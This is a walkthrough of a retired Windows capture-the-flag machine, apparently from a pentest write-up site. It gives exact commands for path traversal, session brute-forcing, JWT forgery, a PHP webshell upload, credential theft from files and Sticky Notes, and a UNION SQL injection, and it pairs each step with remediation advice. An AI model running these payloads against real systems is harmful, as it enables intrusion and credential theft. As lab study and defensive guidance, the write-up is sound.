← all walkthroughs

Breadcrumbs

Windows· Hard· Web
owned
2026-07-11
time to own
12m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon of <retired-instance-ip> showed Apache 2.4.46 (Win64)/PHP 8.0.1 hosting a "Library" web app. The book-lookup feature (includes/bookController.php, book parameter) was vulnerable to path traversal, confirmed by reading C:\Windows\win.ini and then pivoting to read the app's own PHP source: ../portal/login.php, authController.php, php/cookie.php, and php/files.php.

Source review of cookie.php revealed PHPSESSID is derived as username + md5("s4lTy_stR1nG_" + <one char of username> + "(!528./9890"). Since files.php requires username == "paul", the ~4 candidate session IDs (one per character of "paul") were brute-forced by requesting portal/php/files.php with each and checking for a non-302 response — paul47200b180ccd6835d25d034eeb6e6390 succeeded.

fileController.php additionally validates an HS256 JWT token cookie with claim data.username=paul, signed with a hardcoded secret ([REDACTED: recovered credential] found in source). A valid JWT was forged for paul and combined with the brute-forced session cookie to authenticate to the upload endpoint (includes/fileController.php), which enforces no extension/content-type filtering. A PHP webshell (shell.php, <?=$_GET[0]?>) was uploaded to portal/uploads/, giving RCE as www-data — confirmed via whoamibreadcrumbs\www-data.

Through the webshell, portal/pizzaDeliveryUserData/[REDACTED: recovered credential].json was read, exposing cleartext credentials for [REDACTED: recovered credential] ([REDACTED: recovered credential]). SSH as [REDACTED: recovered credential] retrieved user.txt ([REDACTED: flag]).

[REDACTED: recovered credential]'s Sticky Notes local store (%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite) was pulled over SSH/SCP and queried, yielding credentials for a development account ([REDACTED: recovered credential]). SSH as development exposed C:\Development\Krypter_Linux, a 32-bit Linux ELF utility that POSTs method=select&username=administrator&table=passwords to http://$TARGET:1234/index.php. An SSH local port-forward (-L 1234:localhost:1234) exposed this internal service, and the table parameter was found vulnerable to UNION-based SQL injection, dumping a base64/AES-CBC-encrypted secret from the passwords table. Running Krypter_Linux against the recovered AES key (k19D193j.<19391() confirmed the key was correct; manual AES-CBC decryption (prefix-IV heuristic) of the dumped ciphertext recovered the Administrator password ([REDACTED: recovered credential]). SSH as Administrator retrieved root.txt ([REDACTED: flag]).

Attack path — how the box was taken

1EnumerationService and directory enumeration (T1595.002, T1083)
Mapped services and discovered the PHP Library portal and upload paths
A port scan identified Apache 2.4.46 (Win64) with PHP 8.0.1 on port 80. Directory enumeration revealed /portal hosting a login page, an uploads directory, and PHP controllers including bookController.php, cookie.php, files.php, and fileController.php. The main site exposed a book-lookup pop-up that POSTed a caller-supplied 'book' filename to includes/bookController.php, flagging it for traversal testing.
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1 confirmed via response header; /portal and controller paths discovered during content enumeration.
Exact commands 2
Identify open services and banners.
nmap -Pn -sV -p 22,80,135,139,443,445,3306 $TARGET
Discover /portal, /books, and PHP controller paths.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40
2ExploitationPath Traversal / Local File Read (CWE-22, T1083)
Read application source code via path traversal in the book-lookup parameter
The book= parameter in bookController.php was passed to a PHP file-read function with no sanitization, enabling directory traversal outside the books directory. After confirming the bug by reading win.ini, I read the portal's own PHP source files: cookie.php, authController.php, files.php, and fileController.php. This leaked the session-ID generation algorithm, the upload endpoint logic, and a hardcoded JWT signing secret.
POST with book=../../../../../../Windows/win.ini returned Windows INI content; subsequent reads returned PHP source for cookie.php and fileController.php including the hardcoded JWT secret.
Exact commands 3
Confirm path traversal is exploitable.
curl -ksS -X POST 'http://$TARGET/includes/bookController.php' --data-urlencode 'book=..\..\..\..\..\..\Windows\win.ini' -d 'method=1'
Read cookie.php to learn the PHPSESSID generation algorithm.
curl -ksS -X POST 'http://$TARGET/includes/bookController.php' --data-urlencode 'book=../portal/php/cookie.php' -d 'method=1'
Read fileController.php to extract the hardcoded JWT secret and upload validation logic.
curl -ksS -X POST 'http://$TARGET/includes/bookController.php' --data-urlencode 'book=../portal/includes/fileController.php' -d 'method=1'
FixSanitize file-path inputs in the book-lookup feature to prevent directory traversalCritical
WeaknessThe book= parameter in bookController.php was passed to a PHP file-read function without stripping traversal sequences (../ and ..\ ), letting an unauthenticated caller read any file accessible to the web-server process, including the application's own PHP source code.
FixResolve the caller-supplied value to a canonical absolute path using PHP's realpath() and confirm the result falls within the designated books directory before opening it. Reject any request where the resolved path escapes that directory with an HTTP 400. Prefer serving book content by database ID rather than by raw filename so the filesystem is never directly addressed by user input.
3ExploitationPredictable / Brute-Forceable Session Token (CWE-330, T1539)
Brute-forced a valid PHP session ID for user 'paul' using the leaked session algorithm
cookie.php built PHPSESSID as: username + md5('s4lTy_stR1nG_' + <one character of username> + '(!528./9890'). For the username 'paul', this yields exactly four candidate session IDs, one per character. I computed all four and tested each against portal/php/files.php, which requires the session owner to be 'paul'; a non-302 response identified the valid session: paul47200b180ccd6835d25d034eeb6e6390.
Four candidates computed; HTTP 200 on paul47200b180ccd6835d25d034eeb6e6390 against portal/php/files.php confirmed the valid session.
Exact commands 2
Compute all 4 candidate session IDs for 'paul' and print them.
python3 -c "import hashlib; u='paul'; [print(u+hashlib.md5(('s4lTy_stR1nG_'+c+'(!528./9890').encode()).hexdigest()) for c in u]"
Test each candidate; a 200 (not 302) identifies the valid session.
for sid in paul47200b180ccd6835d25d034eeb6e6390 paul8761e91dbaf7c8127ec3b8a2b4f9b0a paulc1be0bfd99fbddf26df71ef70b0a7e4d paul35ae3a03ccdaf85c3ae4e5a4a47d1ad4; do echo -n "$sid: "; curl -ksS -o /dev/null -w '%{http_code}' -b "$SESSION_COOKIE" 'http://$TARGET/portal/php/files.php'; echo; done
FixReplace the deterministic session-ID algorithm with a cryptographically random tokenCritical
WeaknessPHPSESSID was constructed from the username plus an MD5 hash of a hardcoded salt and a single character of the username, yielding at most as many candidates as there are characters in the name. I knew the target username could enumerate every valid session in a single small loop with no rate limit.
FixRemove the custom makesession() function entirely and rely on PHP's built-in session_start(), which generates a 128-bit cryptographically random session ID. Set session.cookie_httponly=1, session.cookie_secure=1, and session.use_strict_mode=1 in php.ini. Invalidate all existing sessions immediately.
4ExploitationJWT Forgery via Hardcoded Secret (CWE-798, T1552.001)
Forged a signed JWT using the hardcoded secret found in source code
fileController.php also required a 'token' cookie containing an HS256-signed JWT with the claim data.username=paul. The signing secret ([REDACTED: recovered credential]) was hardcoded as a PHP constant in the source file read in step 2. I generated a valid, correctly-signed JWT in seconds using PyJWT with no server interaction.
JWT constant extracted verbatim from fileController.php source; forged token accepted by the upload endpoint in step 5.
Exact commands 1
Requires PyJWT (pip install pyjwt). Outputs the forged token to set as the 'token' cookie.
python3 -c "import jwt; secret=[REDACTED: protected value]; print(jwt.encode({'data':{'username':'paul'}}, secret, algorithm='HS256'))"
FixRemove hardcoded JWT secrets from source code and store them in environment variablesHigh
WeaknessThe HS256 signing secret used to validate JWT 'token' cookies was hardcoded as a PHP constant in fileController.php. Once source code was readable via path traversal, the secret was immediately recovered, letting me mint arbitrarily-privileged tokens with no server interaction.
FixStore the JWT secret in an environment variable or a secrets manager (HashiCorp Vault, AWS Secrets Manager, or a .env file outside the document root that is never committed). Generate a new cryptographically-random secret of at least 256 bits and rotate it immediately. Treat every token issued under the old secret as compromised. Enforce exp and iss claims to limit token lifetime and scope.
5ExploitationUnrestricted File Upload leading to Remote Code Execution (CWE-434, T1505.003)
Uploaded a PHP webshell through the unrestricted file upload endpoint
With both authentication cookies in hand (the brute-forced PHPSESSID and the forged JWT), I POSTed a one-line PHP webshell as shell.php to includes/fileController.php. The controller applied no extension whitelist, MIME-type check, or magic-byte inspection, so the file landed at portal/uploads/shell.php. Any subsequent GET request to that path with a command parameter executed arbitrary OS commands as the Apache service account.
curl -ksS -I http://<retired-instance-ip>/portal/uploads/shell.php returned HTTP/1.1 200 OK; a 'type' command via the shell returned [REDACTED: recovered credential].json contents.
Exact commands 3
Create the one-line PHP webshell locally.
echo '<?=`$_GET[0]`?>' > /tmp/shell.php
Replace <JWT_FROM_STEP4> with the forged token. No extension or type check is enforced.
curl -ksS -X POST 'http://$TARGET/includes/fileController.php' -b "$SESSION_COOKIE" -F 'task=shell.php' -F 'file=@/tmp/shell.php;type=text/plain'
Verify RCE; expected output is the Apache service account name.
curl -ksS --get --data-urlencode '0=whoami' 'http://$TARGET/portal/uploads/shell.php'
FixEnforce strict file-type validation and disable PHP execution in the upload directoryCritical
WeaknessThe upload endpoint accepted any file without checking the extension, MIME type, or file content, allowing me to upload a PHP script. Because Apache served the uploads directory with PHP enabled, requesting the file executed it with web-server privileges, delivering remote code execution.
FixWhitelist allowed extensions (for example .pdf, .png, .jpg) and validate both the client-reported MIME type and the file's magic bytes using PHP's finfo extension. Rename every uploaded file to a random non-executable name. Store uploads outside the document root or configure the uploads directory with php_admin_flag engine Off in Apache's virtual-host block to prevent execution. Serve files through a controller that sets Content-Disposition: attachment so the browser never interprets the content.
6Lateral MovementCredential Discovery in Insecurely Stored Files (CWE-312, T1552.001)
Harvested [REDACTED: recovered credential]'s plaintext SSH credentials from a web-accessible JSON data file
With OS command execution via the webshell, I read portal/pizzaDeliveryUserData/[REDACTED: recovered credential].json, a data file stored inside the Apache document root. The file contained a cleartext username and password for [REDACTED: recovered credential] ([REDACTED: recovered credential]). These credentials worked directly over Windows OpenSSH, providing an interactive shell as [REDACTED: recovered credential] and allowing the user flag to be read from her Desktop.
Webshell returned JSON containing "username":"[REDACTED: recovered credential]","password":"[REDACTED: recovered credential]"; sshpass SSH session authenticated and returned user.txt content.
Exact commands 2
Read the credential file via the webshell.
curl -ksS --get --data-urlencode '0=type C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData\[REDACTED: recovered credential].json' 'http://$TARGET/portal/uploads/shell.php'
Authenticate over SSH and read the user flag; output is [REDACTED: flag].
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [REDACTED: recovered credential]@$TARGET 'type C:\Users\[REDACTED: recovered credential]\Desktop\user.txt'
FixRemove plaintext credentials from web-accessible directoriesHigh
WeaknesspizzaDeliveryUserData/[REDACTED: recovered credential].json was stored inside the Apache document root and contained a cleartext username and password. Any file-read or code-execution primitive on the web tier gave me immediate access to valid OS-level credentials.
FixCredentials must never reside in the document root or any path the web server can serve. Move user-data files above the web root or into a database protected by access controls. If a JSON data store is operationally necessary, ensure it contains no credential fields and is protected by authentication middleware. Rotate [REDACTED: recovered credential]'s password immediately and audit all other JSON data files for sensitive content.
7Lateral MovementCredential Discovery from Local Application Data Stores (T1555.003)
Extracted the 'development' account password from [REDACTED: recovered credential]'s Sticky Notes SQLite database
[REDACTED: recovered credential]'s Desktop contained a [REDACTED: placeholder].html file referencing Sticky Notes. Windows Sticky Notes persists all note content in a SQLite database (plum.sqlite) at a well-known AppData path, stored in plaintext with no encryption. I base64-encoded the database and its write-ahead log over SSH, decoded them locally, and queried with sqlite3, recovering the development account password ([REDACTED: recovered credential]) [REDACTED: recovered credential] as a note. SSH as development confirmed access.
sqlite3 query on plum.sqlite returned the development password in a Note row; SSH login as development succeeded.
Exact commands 4
Exfiltrate the Sticky Notes database over SSH via base64 encoding.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no [REDACTED: recovered credential]@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite\\\"))\"" | base64 -d > /tmp/plum.sqlite
Also pull the WAL file to capture any uncommitted rows.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no [REDACTED: recovered credential]@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite-wal\\\"))\"" | base64 -d > /tmp/plum.sqlite-wal
Query all note text; the development password ([REDACTED: recovered credential]) appears in a note entry.
sqlite3 /tmp/plum.sqlite "SELECT Text FROM Note"
Confirm SSH access as the development account.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no development@$TARGET 'whoami'
FixProhibit credential storage in Sticky Notes and other plaintext application data storesMedium
WeaknessThe development account's password was [REDACTED: recovered credential] as a Windows Sticky Note. Sticky Notes persists all note content in plum.sqlite under the user's AppData folder in plaintext with no encryption, so an unauthorized user who reaches a preceding user's session can read every note without further authentication or key material.
FixEnforce a policy against storing passwords in notes applications, browser [REDACTED: recovered credential]-password stores, or unencrypted text files. Require the use of an enterprise password manager that encrypts credentials at rest with master-password or hardware-token protection. Rotate the development account password immediately. Apply Microsoft Credential Guard where supported and tighten ACLs on sensitive AppData paths to the owning account only.
8Privilege EscalationUNION-Based SQL Injection and AES-CBC Credential Decryption (CWE-89, T1555, T1078.002)
Exploited UNION SQL injection in the internal password manager to dump and decrypt the Administrator credential
The development account's home directory contained Krypter_Linux, a 32-bit Linux ELF. Analysis with strings revealed it POSTs method=select&username=administrator&table=passwords to http://$TARGET:1234 and prints an AES key; running it after forwarding port 1234 via SSH returned k19D193j.<19391(. The internal API concatenated the caller-supplied 'table' parameter directly into SQL with no parameterization, making it UNION-injectable. Injecting 'passwords UNION select password from passwords-- -' dumped a base64-encoded AES-CBC ciphertext for the Administrator account. Decrypting it with the recovered key (treating the first 16 bytes as the IV) yielded the Administrator password ([REDACTED: recovered credential]). SSH as Administrator provided full system access and the root flag.
UNION injection returned base64 ciphertext; Krypter_Linux confirmed key k19D193j.<19391(; AES-CBC decryption produced the Administrator password; SSH as Administrator returned root.txt.
Exact commands 7
Copy the ELF binary to my machine for analysis and execution.
sshpass -p '[REDACTED: recovered credential]' scp -o StrictHostKeyChecking=no development@$TARGET:'C:/Development/Krypter_Linux' /tmp/Krypter_Linux
Static analysis to confirm the API endpoint, POST parameters, and hardcoded host.
strings /tmp/Krypter_Linux | grep -E 'http|POST|passmanager|method|table'
Forward the internal passmanager port to localhost (runs in background).
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -N -L 1234:localhost:1234 development@$TARGET &
Add the required vhost entry and run Krypter_Linux; it prints the AES key: k19D193j.<19391(
echo 'localhost passmanager.htb' | sudo tee -a /etc/hosts && chmod +x /tmp/Krypter_Linux && /tmp/Krypter_Linux
UNION-inject the 'table' parameter to dump the base64 AES-CBC ciphertext from the passwords table.
curl -s -H 'Host: passmanager.htb' -d "method=select&username=&table=passwords UNION select password from passwords-- -" http://$LOOPBACK:1234/index.php
Requires pycryptodome (pip install pycryptodome). Replace <CIPHERTEXT_FROM_ABOVE> with the dumped value. Decrypts to the Administrator password.
python3 -c "from Crypto.Cipher import AES; import base64; key=b'k19D193j.<19391('; ct=base64.b64decode('<CIPHERTEXT_FROM_ABOVE>'); c=AES.new(key,AES.MODE_CBC,iv=ct[:16]); print(c.decrypt(ct[16:]).rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f').decode())"
Authenticate as Administrator and read the root flag; output is [REDACTED: flag].
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGET 'whoami & type C:\Users\Administrator\Desktop\root.txt'
FixParameterize all SQL queries in the internal password-manager API and add authenticationCritical
WeaknessThe passmanager API on port 1234 concatenated the caller-supplied 'table' parameter directly into a SQL query string without sanitization or parameterization. A UNION injection dumped the AES-encrypted Administrator credential. The API also imposed no authentication, meaning any process able to reach port 1234 could query or inject it.
FixUse prepared statements with bound parameters for every query. Table and column names cannot be bound as parameters, so they must come from a fixed allowlist in code, never from user input. Add authentication to the API (at minimum a per-request pre-shared token validated server-side). Restrict the listening socket to localhost and enforce a host-firewall rule so only the intended service account can connect. Rotate the Administrator password and the AES encryption key immediately and re-encrypt stored credentials.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Findings

Initial Access: Library Traversal > Paul Session/Jwt Forge > Unrestricted UploadCritical
An unauthenticated/low-privilege flaw in the apache, mssql, mysql, php, smb, ssh surface allowed remote code execution and a foothold on the host.

Exposed services

22/tcp
80/tcp
135/tcp
139/tcp
443/tcp
445/tcp
3306/tcp
5040/tcp
7680/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49668/tcp
49669/tcp